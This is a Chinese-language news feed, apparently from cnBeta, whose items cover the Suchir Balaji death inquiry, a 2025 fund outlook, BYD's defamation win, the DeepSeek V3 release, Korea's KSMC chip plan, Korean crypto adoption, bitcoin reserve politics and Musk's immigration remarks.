警方发言人表示，他们于太平洋时间下午1时许，发现了Balaji的遗体。但Ramarao说，警方既没有告知她具体情况，也不允许她进入公寓。 当警员陆续抵达现场时，她恳请他们查看他的笔记本电脑和牙刷是否在房内，这样就能判断他是否出门了。 “他们什么都不告诉我，”Ramaro说。“我还傻傻地坐在那里想：我儿子应该是去旅行了吧，一定是去哪儿了。那一刻真是令人心碎。” 下午2点左右，警方让她回家，但她拒绝了。 “我想要留在那里。” 大约下午3点20分，一辆闪着警示灯的白色殡仪车开了过来。 我原本期待着会看到医护人员或护士从车上下来，但出来的却是一副担架。我冲上去询问工作人员，他说：公寓里有一具遗体。 约一小时后，法医和警察要求在公寓办公室单独与Ramarao谈话。 他们告诉她，Balaji系自杀身亡，大楼监控显示，事发时他是独自一人。警方发言人表示，初步调查显示，未发现他杀可能。 但Balaji的父母觉得很难相信。 他们随后委托进行了私人尸检，已于12月初完成。Ramarao表示检验结果存在异常，但拒绝透露更多细节。 Ramarao说，她和丈夫已经聘请律师，正在敦促旧金山警方重启调查，并开展“全面调查”。 同时，他们和一些社区成员正在通过社交媒体发起情愿，提升案件的关注度。 除了希望得到一个真相，他们还希望引发全社会对举报人安全保障缺失的重视。 “我们希望这个案件继续受到关注，”Ramarao说。“这件事处处透着蹊跷。” 同时Ramarao强调，他们并未将矛头指向OpenAI。  妈妈，我愿意 Ramarao和儿子感情很深。 他不爱吃水果，所以每次她来看他，都会专程从Costco给他的公寓订购水果。他不习惯吃早餐，于是她就会给他带些燕麦能量棒和饼干。 他一向不善于表达感情，而且总是执意要付所有账单。 但在11月7日他们最后一次共进晚餐时，Ramarao莫名地特别想为他付账，送他回家，似乎在寻求某种心灵的慰藉。 虽然最后还是他付了餐费，叫了网约车，但确实给了母亲一个“暖心的回应”。 Ramarao说道：“Suchir，虽然生活不易，但这就是我把你抚养长大的方式。如果现在让你重新选择父母，你还会选我做妈妈吗？” 他毫不犹豫地回答说：妈妈，我愿意。 “你知道吗？作为一个母亲，这句话将永远温暖着我的心，直到生命的尽头。” [查看评论](https://m.cnbeta.com.tw/comment/1466414.htm)

In terms of funding in China, the AIGC industry in China secured approximately 36.6 billion yuan in financing, with a total of 364 investment events.

跟风的消费者，“喂不饱”小众运动。

&#34;By banning the export of EUV, China will lag 10 to 15 years behind the West,&#34; said Christophe Fouquet in an interview with NRC. &#34;That really has an effect.&#34;

作者 | 黄绎达 编辑 | 郑怀舟 纵观今年以来的A股表现，可以说是一直在预期与现实中纠缠。A股大盘一季度的暴涨，既有传统春季躁动的影响，又有强预期的驱动；到四、五月间的横盘震荡，反映的是投资者对弱现实的认知强化，预期也因此逐步走弱；从五月下旬开始，到9月中旬这期间的连续下行调整，正是掉入了弱预期与弱现实的负反馈循环。  图：上证指数今年以来走势；资料来用：wind，36氪 924之后，随着政策转向，投资者预期再次向好，A股大盘在9月下旬到10月上旬期间急速拉升，相当多的投资者正是因为这一轮的短时间暴涨而解套。公募基金作为A股的重要参与者，924行情虽短，但对基金业绩起到了极大地帮助作用，更重要的是经济预期转暖了。 近期，在中欧基金2025年度投资策略会上，多位基金经理向投资者分享了对2025年资本市场的看法。那么，中欧基金对明年的宏观经济都有哪些核心观点？更看好哪些行业板块的投资机会？ ## **01 固收与宏观：收益率下行明确，重点关注政策加码** 今年以来，利率下行的趋势明显，一方面是我国目前正处于降息周期中，短端利率随政策利率下行，短端利率下行也为长端利率打开了下行空间；另一方面，长端利率的持续下行表明当前资本市场缺乏稳定正收益的资产，再叠加弱复苏的预期，在大类资产上作为无风险利率的国债更受投资者青睐，所以拥挤交易是驱动利率持续下行的另一个重要因素。 9月底，随着国内宏观政策出现巨大转向，对各大类资产的预期都产生了重大影响。权益方面，A股市场随即出现了一轮短期暴涨，即大家熟知的924行情；固收方面，国债利率在9月下旬~10月上旬之间出现了一轮明显上行，不得不说这期间的股债跷跷板效应相当明显；大宗商品主要品种在同期也大都是上涨。 在此之后，股债跷跷板方向翻转，A股大盘宽幅震荡的同时，国债利率则又一次进入了下行通道。资产价格发生如此变动，其背后的逻辑是，随着之前好预期的price in，投资者对后续政策释放好预期的反应逐步钝化，并且更关注政策落地的情况。 即便如此，政策预期对基本面的预期指向性依然是投资决策的核心参考，基于目前的政策基调来判断未来经济的预期，中欧基金认为： <blockquote> <p>当前整个政策的核心在于稳定资产价格水平。近年来，整个基本面在一定程度上承压，既包括房地产带来的总量下行压力，也包括广谱利率价格的降低。</p> <p>因此，对从狭义的角度来看，对于整个房地产市场的政策诉求，是希望能够实现房地产价格的‘止跌回稳’，这一点是非常明确的。</p> <p>从广义的角度出发，目前已出台的一揽子经济刺激政策，意在引导广谱价格水平出现一定程度回暖，从而改善总体的收入预期，进而引导基本面进入正向循环。</p> <p>未来，打破价格下行压力有待政策力度的加码，如果没有看到大力度的政策扩张或者推动，可能整个价格水平还是会向上改善但是弹性比较弱。</p> </blockquote> 从上述中欧基金的判断可知，明年需要重点关注政策加码的情况。而在节奏上，目前市场的一大共识是：未来宽货币、宽信用到基本面出现实质修复还需要时间与进一步确认，因此在基本面预期向好的背景下，随着进一步降息，债牛的逻辑还将延续。从金融产品的层面来看，债券基金在2025年依然大有可为。 对于2025年的债市，中欧基金展望道： <blockquote> <p>一方面收益率下行是明确的，包括居民存量房贷利率有进一步下行空间；另一方面，整个波动相比今年会有所加大，同时斜率有所放缓。在策略上，首先是在收益率下行趋势中抓住久期价值，并积极通过交易来获得收益的增厚。</p> </blockquote> ## **02 人工智能：从技术变革透视三大投资机遇** 行业策略方面，人工智能是近年来最火爆的投资主题之一，作为未来消费科技的核心发展方向，对人工智能的政策扶持目前已经相当明确，AI不仅是新质生产力的重要内涵之一，也是明年政府的重点工作方向。 从发展趋势来看，国产大模型的能力和产品在今年与海外的差距正在逐步“收窄”，而且大模型厂商之间的竞争也呈现出差异化的特征。具体到技术演进层面，当前国产大模型能力已逐步追赶到GPT-4的水平，预计明年可以达到GPT-o1的水平；同时，在国内的互联网厂商、科技巨头和创业公司推动下，国内的搜索和文生视频产品渗透率得以快速提升。 从二级市场投资的视角来看，中欧基金认为： <blockquote> <p>人工智能是一个底层技术，它的发展对各行各业都会产生深刻而长远的影响，大模型又是人工智能中最重要、最底层的技术，主要由科技巨头及其背后的初创公司来完成。因为大模型的训练需要投入巨量的资源，很多上市公司没有能力单独完成这件事情。所以，人工智能的投资机会主要围绕AI基础设施（算力）、软件应用、硬件类AI应用这三个方面展开。</p> </blockquote> 人工智能本身具有数据海量、算法复杂、场景多元等特点，因此对算力提出了极高的要求。为了获得通用人工智能时代的门票，全球科技巨头之间的军备竞赛早已开启，为了保障算力正在大规模建设AI数据中心，并加紧进行大模型的训练。 对于AI算力增长的持续性，市场观点存在一定分歧，中欧基金认为： <blockquote> <p>根据最新的海外数据，AI算力增长的持续性依然有充分支撑。北美的云厂商在今年Q3普遍上修了2025年的资本开支指引，而且其中AI占比快速提升，预计到2026年，上述厂商的资本开支中AI相关占比将升至65%左右。因此，无论是终端云厂商还是GPU制造商、GPU代工厂，对AI算力的持续性普遍抱乐观预期。再从产业发展逻辑来看，大模型的持续迭代，以及应用端爆发后新增的推理侧需求，是AI算力需求持续增长的重要支撑。</p> </blockquote> 再来看半导体行业，根据世界半导体贸易统计组织（WSTS）今年12月公布的最新市场预期，2024年全球半导体市场规模将达到6270亿美元，同比增长19%，更新后的预测增速较春季上调了3pct。 从各个细分领域的成长性来看，AI贡献了行业绝大部分的增长；存储市场虽然在今年总体上保持了高增长，但是从下半年开始，存储价格逐步进入下跌状态；消费电子可能面临分化；模拟和ECU��受到下游拖累而预期悲观。 无论是部分子行业景气度不高，还是ASML（荷兰阿斯麦公司）在近期下调指引，均表明半导体大周期存在一定的宏观压力，AI则是驱动整个半导体行业增长的核心动力。在中欧基金看来，AI基础设施的两大投资方向是海外供应链和国产算力芯片。 <blockquote> <p>中国公司深度参与全球AI市场，主要还是通过进入海外GPU和云厂商供应体系，像光模块、PCB、板卡、液冷等产品。这些公司很多都是A股上市公司，在全球供应链体系中占据非常重要的地位。</p> <p>国产算力方面，由于美国对我们的技术封锁，国产芯片开发处于迫在眉睫的状态。国内包括科技大厂、上市公司和初创公司在内的多家企业目前在人工智能芯片的研发和流片上取得一定的进展。</p> </blockquote> 在人工智能软件应用方面，中欧基金认为： <blockquote> <p>AI助理已成为最重要的应用场景，随着大模型的持续升级迭代与功能拓展，以ChatGPT为代表的AI助理应用，已经从第一阶段的“聊天机器人”，逐步进化为第二阶段的“推理者”，即具备人类推理水平，并能够解决多种复杂难题。</p> </blockquote> 从AI应用的发展趋势来看，海外方面，不仅ChatGPT在今年下半年的访问量持续创新高，而且各行业的AI应用普遍迎来爆发期，并驱动上市公司取得了不俗的经营业绩，如AI教育、AI广告、AI办公、AI安全等领域的许多美股公司在今年三季度都实现了超预期增长。 国内方面，主流的大模型公司产品访问量也在今年呈持续上涨的态势，一些垂直领域的AI应用也陆续进入市场，特别是AI搜索、AI文生视频、AI办公、AI理财等产品逐步在用户侧推广开来。 在硬件方面，中欧基金看好AI端侧硬件（AI手机、智能化可穿戴设备）、自动驾驶以及人形机器人三大应用载体的投资潜力。 <blockquote> <p>自动驾驶技术一旦取得重大突破，全球电动化率就会进入加速向上的拐点，包括锂电、整车、汽车零部件等行业的投资机会也将被激活。人形机器人方面，全球人形机器人龙头的供应链与汽车供应链有较高的重叠度，中国制造业深度参与了人形机器人的研发、设计和量产，将会充分享受人形机器人行业爆发的历史性机遇。</p> </blockquote> 总而言之，人工智能是这个时代最令人激动的技术变革，由其引领的新一轮科技革命必将会给资本市场带来新的机遇。公募基金作为投资者的重要组分，中欧基金对人工智能的观点颇具代表性，在政策扶持与技术突破的推动下，2025年的人工智能肯定会带来更多惊喜，同时看多人工智能领域的公募基金在明年亦值得期待。 *免责声明：  本文内容仅代表作者看法。  市场有风险，投资需谨慎。在任何情况下，本文中的信息或所表述的意见均不构成对任何人的投资建议。在决定投资前，如有需要，投资者务必向专业人士咨询并谨慎决策。我们无意为交易各方提供承销服务或任何需持有特定资质或牌照方可从事的服务。

对流量和大IP祛魅。

腾讯做电商的底层逻辑，未来趋势解读。

餐饮成功三要素：产品力、单店盈利模型、扩张节奏。

该直面根本性问题了。

洗浴中心“盘活”高端自助餐。

2024年12月27日，截止收盘，沪指涨0.06%，报收3400.14点；深成指跌0.13%，报收10659.98点；创业板指跌0.22%，报收2204.9点，两市成交额较上一交易日增加1613.91亿元，合计成交14338.51亿元。

12月27日，比亚迪法务部今日发布微博表示，昨日，比亚迪起诉自媒体“龙猪 - 集车”及相关账号名誉权纠纷一案有了最新进展。法院判令被告需删除侵权言论、向比亚迪赔礼道歉，并赔偿比亚迪包括经济损失在内共计201.87万元。  法院判定信息透露，被告“龙猪 - 集车”长期发表针对比亚迪的侮辱、诋毁言论，且存在严重歪曲事实的行为，此行为对比亚迪的名誉权构成侵害。 比亚迪方面表示，公司始终尊重并接纳来自社会各界的建议与监督，但强调网络空间并非法外之地，对于任何形式诸如侮辱、造谣、抹黑等侵权行径，比亚迪将持续运用法律武器，捍卫企业自身合法权益。 比亚迪集团品牌及公关处总经理李云飞此前发布视频强调，对所有的黑公关和黑媒体，我们的一贯态度就是一追到底，绝不姑息。 [查看评论](https://m.cnbeta.com.tw/comment/1466412.htm)

DeepSeek新版模型正式发布，技术大佬们都转疯了！延续**便宜大碗**特点的基础之上，DeepSeek V3发布即**完全开源**，直接用了53页论文把训练细节和盘托出的那种。  怎么说呢，QLoRA一作的一个词评价就是：优雅。   具体来说，DeepSeek V3是一个参数量为**671B**的MoE模型，**激活37B**，在**14.8T**高质量token上进行了预训练。 在多项测评上，DeepSeek V3达到了开源SOTA，超越Llama 3.1 405B，能和GPT-4o、Claude 3.5 Sonnet等TOP模型正面掰掰手腕—— 而其价格比Claude 3.5 Haiku还便宜，仅为Claude 3.5 Sonnet的9%。  更重要的是，大家伙儿还第一时间在论文中发现了关键细节： DeepSeek V3整个训练过程仅用了不到**280万个GPU小时**，相比之下，Llama 3 405B的训练时长是**3080万GPU小时**（p.s. GPU型号也不同）。 直观地从钱上来对比就是，训练671B的DeepSeek V3的成本是557.6万美元（约合4070万人民币），而只是训练一个7B的Llama 2，就要花费76万美元（约合555万人民币）。  OpenAI创始成员Karpathy对此赞道： DeepSeek V3让在有限算力预算上进行模型预训练这件事变得容易。 DeepSeek V3看起来比Llama 3 405B更强，训练消耗的算力却仅为后者的1/11。  Meta科学家田渊栋也惊叹DeepSeek V3的训练看上去是“黑科技”： 这是非常伟大的工作。  全网热烈实测中 先来看官方说法，新模型这次主要有以下几个特点： 首先从模型能力来看，其评测跑分不仅超越了Qwen2.5-72B和Llama-3.1-405B等开源模型，甚至还和一些顶尖闭源模型（如GPT-4o以及Claude-3.5-Sonnet）不分伯仲。  从实际响应来看，其生成速度提升了**3倍**，每秒生成60个tokens。  在又快又好的同时，DeepSeek V3的**API价格**也被打下来了。 每百万输入tokens 0.5元（缓存命中）/ 2元（缓存未命中），每百万输出tokens 8元 单论价格，正如一开始提到的，它几乎是Claude 3.5 Sonnet的1/53（后者每百万输入3美元、输出15美元）。 而如果要平衡性能和成本，它成了DeepSeek官方绘图中唯一闯进“最佳性价比”三角区的模型。  对了，DeepSeek这次还搞了一个**45天优惠价格体验期**，也就是在2025年2月8日之前，所有用户使用DeepSeek V3 API的价格分别下降了80%（输入命中）、50%（输入未命中），75%（输出）。 每百万输入tokens 0.1元（缓存命中）/ 1元（缓存未命中），每百万输出tokens 2元 最后，官方此次一同开源了**原生FP8权重**，并提供了从FP8到BF16的转换脚本。 具体而言，SGLang和LMDeploy这两个框架已支持FP8推理，另外两个框架TensorRT-LLM和MindIE则支持BF16推理（适合需要更高精度的场景）。 目前普通用户可以通过官网（chat.deepseek.com）与DeepSeek V3展开对话，API也已同步更新，接口配置无需改动。 知名AI博主AK亲测，只需几行代码就能将它部署到Gradio。  Okk，话说到这里，我们直接来看一些实测效果吧。 首位全职提示词工程师出新题，DeepSeek V3完全答对 这第一关，来自首位全职提示词工程师Riley Goodside。 新题为“Which version is this?”，考察模型对自身版本的理解。接受考验的选手除了DeepSeek V3，还有Claude、Gemini、ChatGPT和Grok。 先说结论，按Riley的说法，这几位的回答主打**“各不相同”**，不过DeepSeek V3完全答对了。  Claude 3.5 Sonnet也对其版本了如指掌——不仅说对了版本号（许多用户非官方地称这个版本为3.5.1或3.6），还给出了发布月份。 （不过Claude 3.5 Haiku出错了，误识别为Claude 3 Haiku。）  不过后面几位选手就开始各种出错了，尤其是ChatGPT和Grok。 ChatGPT要么给出模糊答案（基于GPT-4架构），要么直接自信给出错误版本，总之处于比较懵圈的状态。   而Grok更是独特，理论倒是一套一套，但就是不说自己的版本。（除非直接问它是哪个Grok模型）  除此之外，一些网友还进行了更多测试。 更多网友整活 比如这位Tom小哥惊讶表示，DeepSeek V3无需开发者详细解释，就能“诡异”理解整个项目。 突然感觉机器里好像有鬼  他唯一做的，就是告诉DeepSeek V3最终目标是什么。  当然，老规矩还是要测一下数草莓中的“r”以及“9.9和9.11哪个大”这种行业难题。(doge） 很欣慰，这次它**都答对了**，而且答案和分析过程都没问题。   最后，还有人直接将4个M4 Mac mini堆叠在一起来运行DeepSeek V3了……  唯一值得遗憾的是，当前版本的DeepSeek V3**暂不支持多模态输入输出**。  模型预训练：＜2个月，600万美元 测试完毕，我们继续掰开论文细节。先来看最受关注的预训练部分：  官方介绍，通过在算法、框架和硬件方面的协同优化，DeepSeek V3的训练成本变得非常经济。 预训练阶段，在每万亿token上训练DeepSeek V3仅需要18万GPU小时，就是说，在官方2048卡集群上，**3.7天**就能完成这一训练过程。 研发团队用了不到2个月的时间就完成了DeepSeek V3的预训练，耗费了266.4万GPU小时，再加上上下文长度扩展的11.9万GPU小时，和后训练的5000 GPU小时，总训练成本为278.8万GPU小时。 假设GPU租赁价格为每GPU小时2美元，那成本换算过来就是557.6万美元。 所以，具体是什么样的协同优化？ 官方标注了几个重点： 首先，**架构方面，DeepSeek V3采用了创新的负载均衡策略和训练目标**。 研发团队在DeepSeek-V2架构的基础上，提出了一种无辅助损失的负载均衡策略，能最大限度减少负载均衡而导致的性能下降。 具体而言，该策略为MoE中的每个专家引入了一个偏置项（bias term），并将其添加到相应的亲和度分数中，以确定top-K路由。  研发团队还证明，**多Token预测目标**（Multi-Token Prediction，MTP）有利于提高模型性能，可以用于推理加速的推测解码。 **预训练方面，DeepSeek V3采用FP8训练**。研发团队设计了一个FP8混合精度训练框架，首次验证了FP8训练在极大规模模型上的可行性和有效性。  论文中还提到了跨节点MoE训练中的通信瓶颈问题。解决策略包括，设计DualPipe高效流水线并行算法：在单个前向和后向块对内，重叠计算和通信。 这种重叠能确保随着模型的进一步扩大，只要保持恒定的计算和通信比率，就仍然可以跨节点使用细粒度专家，实现接近于0的all-to-all通信开销。  另外，研发团队还开发了高效的跨节点all-to-all通信内核等。 **后训练方面**，DeepSeek V3引入了一种创新方法，**将推理能力从长思维链模型（DeepSeek R1）中，蒸馏到标准模型上**。这在显著提高推理性能的同时，保持了DeepSeek V3的输出风格和长度控制。 其他值得关注的细节还包括，DeepSeek V3的MoE由256个路由专家和1个共享专家组成。在256个路由专家中，每个token会激活8个专家，并确保每个token最多被发送到4个节点。 DeepSeek V3还引入了冗余专家（redundant experts）的部署策略，即复制高负载专家并冗余部署。这主要是为了在推理阶段，实现MoE不同专家之间的负载均衡。 最后，来看部分实验结果。 大海捞针实验：  可以看到，在各项基准测试中，DeepSeek V3在开源模型中达到SOTA。  贾扬清谈DeepSeek团队：其成就根植于多年专业知识 新版本模型引爆热议，更多有关DeepSeek及其背后团队的信息也被关注到。 其中，贾扬清还透露了与DeepSeek团队早年的相处细节。 当时是2019年，他正打算向团队推荐一个AI云解决方案，并试图说服这群人： 不需要复杂的云虚拟化，只需要容器和高效的调度器。 需要真正快速、相互连接的专用网络，如RoCE或Infiniband。 需要像NFS这样的通用存储，不需要太复杂，但必须快速。 要让AI开发者满意，而不是系统可靠性工程师（SREs）满意。 有意思的是，团队表示这些东西他们早已实践了多年，并转而让他帮忙向一些大学实验室捐赠算力资源。 当然最后也确实帮上忙了，而贾扬清也再次感叹： DeepSeek团队的伟大成就在某种程度上植根于多年的专业知识，这些专业知识部分被许多人忽视了。  最最后，除了本次官方公布的测试结果，Imsys匿名竞技场也出来提前预热了。 家人们，快来用你最难的提示考考DeepSeek V3。（后续发布竞技场榜单）  — **完** — [查看评论](https://m.cnbeta.com.tw/comment/1466410.htm)

据韩媒报道，全球半导体竞争日趋激烈，为了保障半导体出口优势，近日，韩国计划拿出20万亿韩元（约合139亿美元）支持本土芯片产业，效仿台湾企业台积电（TSMC）的成功模式，建立韩国的“韩积电”（KSMC），以解决国内芯片行业发展不均衡的问题。 [](https://static.cnbetacdn.com/article/2024/1223/bd58dafa68b5b4a.jpg) 韩国《首尔新闻》报道称，近日，在韩国国家工程院（NAEK）举行的研讨会上，韩国工业界和学术界提议效仿台积电，筹备设立一家由政府资助的芯片代工制造商——韩国半导体制造公司（KSMC）。该计划旨在通过多样化制造工艺（包括尖端工艺和传统工艺）在代工厂和无晶圆厂公司之间打造一个平衡的生态系统，以解决国内半导体行业面临的挑战，强化在全球市场中的竞争力。韩媒Korea BizWire报道称，有专家估计，对KSMC投资20万亿韩元可在2045年之前产生300万亿韩元的经济效益。 据韩国《先驱经济报》报道，韩国半导体业内人士认为，虽然今年全球半导体行业开始复苏，但韩国半导体行业正面临“历史最大危机”。在全球芯片行业竞争越发激烈的背景下，韩国以往领先的存储芯片技术优势逐渐被削弱，投资迟缓、人才流失、政策支持不足等问题也让行业发展举步维艰。数据显示，从2018年到2023年，韩国存储芯片出口额从830亿美元降至429亿美元，减少了将近一半。 KSMC将负责解决行业中的结构性问题，韩国成均馆大学教授权锡俊建议，韩国可以像台湾一样，通过打造诸如联华电子（UMC）和力积电（PSMC）等专注于成熟和特殊制程的晶圆代工厂，与拥有先进制程技术的公司形成互补。 “台湾保持着一个平衡的生态系统，这使得250多家无晶圆厂公司能够在新竹自然发展”，权锡俊表示，当前韩国过于依赖三星电子在10纳米以下的先进制程，这使许多小型系统半导体公司难以蓬勃发展。该委员会还强调，需要积极培育存储器和先进封装技术，及时进行设施投资。 与此同时，专家呼吁韩国政府在推动大企业发展的同时，也要加强对中小企业的支持，可通过直接投资中小型材料、零部件和设备公司，扩大整体生态系统的研发竞争力。 首尔国立大学电气与计算机工程系教授李赫宰表示：“如果不解决这些警告信号，可能会导致韩国半导体产业在全球技术竞赛中下滑，给国民经济造成无法弥补的损失。”他认为，无晶圆厂半导体设计和封装行业增长疲软、人才外流以及过度监管是主要风险。 不过，有业内人士担心，像KSMC这种由政府资助的企业能否高效应对先进制程的挑战。SK海力士首席执行官建议，可考虑将三星的一些旧晶圆厂设施用于KSMC计划的一部分。 [查看评论](https://m.cnbeta.com.tw/comment/1466406.htm)

长期以来，韩国都被不少人看作“炒币大国”。因为韩国相当一部分人口正在投资加密货币，其民众对于“炒币”的热情，在全球范围内可能都是较为少见的。而在今年11月特朗普赢得美国大选后，随着比特币价格飙升，韩国民众对加密货币的热情更是高涨。韩国央行数据显示，今年11月，在韩国交易所持有加密货币的人数超过1559万人——这一数字相当于韩国总人口的30%以上。 [](https://static.cnbetacdn.com/article/2023/0126/c74a13505be2203.png) **韩国“炒币”人数大幅飙升** 韩国央行根据在Upbit、Bithumb、Coin One、Cobit和Gopax等五大韩国交易所拥有账户的投资者数量统计得出结论，截至今年11月，在韩国交易所持有加密货币的人数超过1559万人，比10月份的1498万人增加了61万人 目前，韩国总人口预计在5123万人左右。这意味着，持有加密货币的人口数量相当于总人口的30%以上。 该报告称，韩国加密货币投资者的数量一直在上升，而在11月更是直线飙升。这可能是美国当选总统特朗普在11月初赢得选举后，市场情绪高度乐观所导致的结果。特朗普在竞选期间就一直承诺支持虚拟资产行业，甚至扬言要将比特币纳入国家储备。 回顾过去几个月，韩国的加密货币投资者数量在7月份为1474万，8月份为1482万，9月份为1488万，10月份为1498万。换句话说，每个月平均增加约10万。 此外，韩国民众对加密货币总持有量也从7月份的价值586万亿韩元（约合3984.8亿美元）增加到11月份的102.6万亿韩元（约合697.68亿美元）。日均交易额也从7月份的2.9万亿韩元（约合19.72亿美元）增加到11月份的14.9万亿韩元（约合101.32亿美元）。 韩国共同民主党议员Lim Kwang表示，韩国的加密资产交易规模正在迅速接近与股票市场相当的水平。 “在各级政府层面，需要做好准备，提高虚拟资产市场的稳定性，建立健全保护用户权益的市场交易机制。” [查看评论](https://m.cnbeta.com.tw/comment/1466404.htm)

在数字资产破纪录的一年的最后几天，比特币的上涨势头正愈加疲弱，投资者正在评估候任总统唐纳德·特朗普对加密货币行业的支持所带来的剩余动力。截至发稿，比特币交易为95914美元，较前一天下跌0.12%。包括以太币(Ether)和狗狗币(Dogecoin)在内的规模较小代币也都在努力争取市场关注。 特朗普正在推进一项承诺，即在美国创造一个对加密货币友好的环境，并支持建立一个国家比特币储备的想法。交易员们正在观望这样的储备是否可行。  大宗经纪商FalconX表示，加密市场中的大量比特币和以太币期权合约将于周五到期，这是数字资产历史上规模最大的此类事件之一。流动性提供商Arbelos Markets交易主管肖恩•麦克纳尔蒂(Sean McNulty)指出，在这些衍生品头寸到期之际，市场可能出现“波动”。 尽管MicroStrategy(MSTR.US)本周暗示有可能扩大其购买比特币的计划，但比特币表现仍在摇摆不定。该公司已经从一家软件制造商转变为比特币积累者，目前拥有超过400亿美元的数字资产。 根据汇编的数据，比特币12月将出现下跌，这将是其四个月来的首次月度下跌。比特币曾在12月17日达到108,316美元的历史新高，随后回落。 [查看评论](https://m.cnbeta.com.tw/comment/1466402.htm)

自11月初特朗普胜选“定局”以来，加密市场特别是比特币进入了强烈的“美国比特币战略储备”预期。很显然，市场将高度聚焦2025年特朗普上任后对这项承诺的落实情况，有分析直言这件事将打破比特币牛熊周期，也就是说，未来任何一个“插曲”都可能导致行情剧烈动荡。我们现在能做的就是关注其推进动态，提前预估可能的落地时间节点，做好相应的准备。 **最新进展** “比特币战略储备”这件事实际在美国总统大选前就有相关提议和讨论，参议员Cynthia Lummis早在2024年7月31号就提出了《美国比特币战略储备法案》（BITCOIN Act of 2024），法案提出每年购入 20万个比特币，五年内达到 100万个。 随后，在竞选过程中，特朗普参加加密行业的比特币大会演讲中承诺将成为“加密货币总统”，业界希望他兑现承诺，透过行政命令创建比特币库存，确保该行业能够获得银行服务，并创建加密货币委员会。 2024 年 12 月 17 日，比特币政策研究所(Bitcoin Policy Institute， BPI) （注意，非官方组织，而是专注于比特币政策研究的非营利组织，不过它仍然是决策者在比特币相关议题上重要的智库之一）近日公开了一份行政命令草案，试图为特朗普的“比特币战略储备”行政命令框架提供参考意见。这份草案明确提出：建议将国债资产中的1%-5%用于购买比特币，以形成长期储备。由财政部主导，美联储协作，逐步建立储备等。2024年12月19日，美联储主席鲍威尔（预计特朗普上任后能继续履职完成任期）在新闻发布会上发表了谨慎的观点，鲍威尔称美联储无意参与政府囤积比特币的任何计划，这类问题属于国会的职责范围，而美联储并未寻求改变现有法律以允许持有比特币。从最新的情况看来，尽管美联储主席持保守意见，但在特朗普提名的加密友好型美国财政部长以及上任后迅速出台的“总统行政命令”等有利条件下，这些都不会影响特朗普团队继续推动将比特币纳入美国战略储备的计划。  **最快落地时间** 鉴于”比特币战略储备”不是一个小议题，不是美国总统一个人脑袋一热就能马上执行的事情，因此我们不会立刻看到它的落地，从目前该国的行政命令或者立法流程来看，特朗普若要落实比特币战略储备事宜，上任后即刻让加密货币委员会进行政策研究和可行性评估，完成后正式提出方案，随后可通过两个路径进行： 路径一：总统行政命令（最快2025下半年） 特朗普上任后直接颁布行政命令是最快捷的一个路径，因为它可以绕过来自美联储和国会等保守和反对的阻力，也是参考“比特币政策研究所”提供的草案，指示美国财政部动用外汇稳定基金（ESF）直接配置比特币。 不过，这种方法虽然快捷方便，但也有副作用，财政部的外汇稳定基金虽然可以不需要国会批准但可以被国会调查和立法限制。行政命令也可以被下一任总统推翻和修改，因此它的持久性和稳定性并没有立法来得好。 路径二：国会立法（最快2026年下半年） 若通过更稳定的立法路径，则需要走更长的流程，经过加密货币委员会进行政策研究和可行性评估之后的法案需要先提交国会并交由参议院银行委员会审议，然后再经过参议院、众议院以及总统签署通过，最后才能正式完成立法。 这个流程可能经历各种反复拉扯并且相对复杂，毕竟不少保守派议员肯定会提出反对和进行阻挠，因此通过这种路径尽管可以获得一个持久、稳定的法案，但需要很长的时间，至少在2026年下半年到2027年才有可能落地。 近日消息，加密行业正在推动特朗普的团队在他下个月上任第一天就发布行政命令，启动他承诺的加密货币政策改革，帮助推动加密主流化等事项，那么如果通过行政命令，最快或许2025年中旬过后就能看到比特币战略储备的落地了。 **几个重要时间节点** 在比特币战略储备的相关行政命令或者法案“走流程”期间，下列几个时间节点可能给市场带来显著的影响： 1）2025年1月20日，特朗普就职典礼前后 特朗普将在这一天正式就职，这个时间开始，特朗普将可以正式开始“发号施令”。这一时间节点将标志着新总统施政的开端，相关政策动向可能逐步浮出水面。市场会高度关注就职演说及其早期行政命令的发布。本次就职典礼特朗普邀请了好多嘉宾预计会相当热闹，金融市场也会给予高度关注。 2）2025年年中，完成政策研究阶段 根据时间推算，加密委员会的政策研究最快在2025年上半年到年中完成并提出关于比特币储备的可行性报告和草案。随后特朗普可以签署行政命令。标志着“比特币战略储备”的正式出台。 3）2025年下半年到2026年初，实施细则和潜在的国会拉扯 签署相关行政命令、相关框架确定，美国财政部、美联储等相关部门就要开始着手制定具体实施细则，包括比特币采购方式、储备比例、资产管理规则等，随后开始正式实施。 在此期间，应该不会太过顺畅，国会反对议员会加入阻挠行列反复拉扯。 最后，如果一切顺利，且比特币储备战略带来客观的“效益”，未来可能进一步推动立法，这将对加密市场格局带来深远的影响。  “比特币战略储备”道路看似充满曲折，并不是一天两天就能落地的事情，最快也要半年以后的事了，但不论怎么说，特朗普的“美国比特币战略储备”带来了良好的预期的同时，也“打好了样版”带动各国央行及金融机构、上市公司对比特币储备可行性的研究和探索。虽然政策细节和最终实施时间仍可能存在诸多不确定性，但我们依然需要跟进和关注关键时间节点，随时做出应对调整。 [查看评论](https://m.cnbeta.com.tw/comment/1466400.htm)

特朗普身后的MAGA（让美国再次伟大）支持者中一直存在一个极为敏感的话题，即移民问题。大部分右翼保守派人士希望特朗普将移民阻在边境线之外，但也有人反对这一观点。 据悉，美国国会已经有了关于移民计划的早期讨论，共和党议员们正在考虑增加高科技移民数量的新政策，而这一点是马斯克以及其他科技界亿万富翁反复要求的内容。 周三，马斯克公开表示，优秀工程人才的短缺是限制硅谷发展的根本因素，移民劳动力是推动美国创新的重要组成部分，呼吁美国进一步引入高科技移民人才。 周四，马斯克再次强调，如果美国强迫世界上最有效的人才为别人效力，那么美国理当失败。  然而，在传统的右翼人士看来，马斯克本就出身非法移民，因此他与其他硅谷精英只是想要谋求自己的商业利益，而不是为了美国着想。 特朗普阵营的政治活动家Laura Loomer指出，美国是由欧洲白人建立的，而不是来自印度的第三世界“侵略者”。她强调，美国的建立不是为了让支持开放边境的技术人员有机会利用这个国家。 Loomer代表着美国社会中相当坚实的反移民力量，这部分人认为海外移民抢夺了美国本土的工作机会，并降低了工资水平。 而在特朗普第一任期内，其对移民工作签证的发放就十分严格，2018年移民工签的拒签率达到24%，2019年则达到21%，似乎是在践行特朗普关于美国优先的承诺。 但随着马斯克等人的发声，目前的共和党内部更倾向于增加外国科技人才的工作签证和绿卡数量。共和党参议员Todd Young指出，国会可以同时做两件事：打击非法移民，同时为海外工程人才提供移民窗口。 